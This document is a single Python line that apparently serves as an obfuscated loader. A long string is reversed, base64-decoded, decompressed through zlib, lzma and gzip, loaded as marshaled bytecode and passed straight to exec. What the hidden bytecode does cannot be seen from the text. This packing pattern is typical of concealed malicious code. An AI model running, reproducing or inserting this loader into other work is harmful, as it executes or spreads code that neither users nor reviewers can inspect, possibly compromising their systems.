_=lambda __:__import__('marshal').loads(__import__('gzip').decompress(__import__('lzma').decompress(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])))));exec(_('=4DdXNjWZRAAAAAACs/ZEH77/TMaAAQBcXA9BAwnJhdtsuFbRCAAAUQNupUSj9z6tk1rBwfKObERhVgmXopGllFgUR+tBlThkiZmMey7K2TXT9DDaG0pPHFZI8Xr+6ITBFfx0s/zkJm3mF/2H7pFXL7ExS2C+mLcayQNzJUwuyi0so2ko9+LAdWmOUr46R9I8MUKQ5Dw113UAmRtMYDoGOUPgWUydHCKunpYx1JIwHx+8yc3AVc7nfeWzp0Je4Tvku6WkQ8GlDg6pGxyRXfp8aE0aGg/2E/ZRGE/F03fjWhZdlQY1XFkmHKYVhGSAuNKPAmn3APAWzZ5UuHgfeZwVnuG8Bfoigt9bfujbY7w7vVbBl42iZskPwFmKV5Uk4Ep5ovgxbXKgPCGU9/18vD3zsdprAckBD/L3UNPV8gENz/uUTAZ3pxjskAMzMHC4FjHJHRc80esT3eTyiSJ1aiczJoKTj0bUY/XaA2TRoOdUzMnrChSLeX+gPfq3DAQ1GbZfOXzdtV86LmgwvBewv5wA30tlnNuKaUFi8wIcinh0u7BxtDxc0w4P9wYvCxGE7+Lj5OA/YnDuCMFuPgSBmfJlH2e8QB23348cRrkXRVbYZPVsejMOTJu0M2SrAUrY/rw803j+1D+D8buyVhPSoClGlurBLQIxFoVoySyiMalmAE6GqZvfXmKTzHDlmPbjEwoUWHyZsl0TuSm5dmWzlSy8xgMgfJJk1IrKxT6rYzpSfbsQ6H16bl/y8025X6u4lmWGDKKUTXNc1ca1nzTl1rddtcOeRY79IjsFq0KYoyhRNytkQnWongSsOTneyzGuWPcBetyHJkCjl075iQPehra8qxdCTekFYTsHI9a5sbFlio7K5BXNkncUJLV4q4vCWACYYEvmYy9zU5MeffOvP302OpJBmWbZvdw+AkfF0PufZ5FWtBIw+RjEQ0DJSE1EEsIgvpNKprZ1ZL7omF0mqZh+9yIkhNeIFEcWhNPrrY/XWc5UAE1OFNVt9vAoVFXRAACL+x2CEwol/CdAAAAWEQIAIgR0at5EAAAahle30P/nPAGBwJe'))
